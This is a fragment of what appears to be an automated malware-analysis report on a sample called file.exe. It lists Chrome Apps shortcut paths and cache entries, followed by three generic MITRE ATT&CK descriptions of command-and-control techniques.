C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre